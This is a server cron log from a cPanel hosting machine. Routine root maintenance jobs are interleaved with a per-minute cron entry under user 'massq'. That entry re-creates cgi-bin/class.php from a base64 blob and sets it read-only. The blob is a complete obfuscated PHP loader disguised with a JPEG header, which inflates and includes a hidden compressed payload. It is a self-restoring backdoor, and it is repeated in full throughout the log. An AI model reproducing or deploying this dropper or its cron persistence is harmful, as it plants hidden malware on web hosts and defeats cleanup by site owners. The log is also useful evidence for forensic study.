Sep 12 19:05:01 server CROND[25619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:05:01 server CROND[25620]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:06:01 server CROND[26479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:06:01 server CROND[26480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:06:01 server CROND[26482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:07:01 server CROND[26968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:07:01 server CROND[26969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:07:01 server CROND[26970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:08:01 server CROND[27383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:08:01 server CROND[27384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:08:01 server CROND[27385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:09:01 server CROND[27767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:09:01 server CROND[27771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:09:01 server CROND[27770]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 19:09:01 server CROND[27769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:10:01 server CROND[28153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:10:01 server CROND[28155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:10:01 server CROND[28157]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:10:01 server CROND[28159]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:10:01 server CROND[28162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:10:01 server CROND[28161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:10:01 server CROND[28160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:10:01 server CROND[28164]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:11:01 server CROND[29083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:11:01 server CROND[29084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:11:01 server CROND[29085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:12:01 server CROND[29463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:12:01 server CROND[29464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:12:01 server CROND[29465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:12:01 server CROND[29466]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 19:13:01 server CROND[29846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:13:01 server CROND[29847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:13:01 server CROND[29848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:14:01 server CROND[30228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:14:01 server CROND[30229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:14:01 server CROND[30230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:15:01 server CROND[30640]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:15:01 server CROND[30642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:15:01 server CROND[30645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:15:01 server CROND[30643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:15:01 server CROND[30644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:15:01 server CROND[30647]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:15:01 server CROND[30657]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 19:15:01 server CROND[30641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:16:01 server CROND[31593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:16:01 server CROND[31594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:16:01 server CROND[31595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:17:01 server CROND[31981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:17:01 server CROND[31982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:17:01 server CROND[31983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:18:01 server CROND[32368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
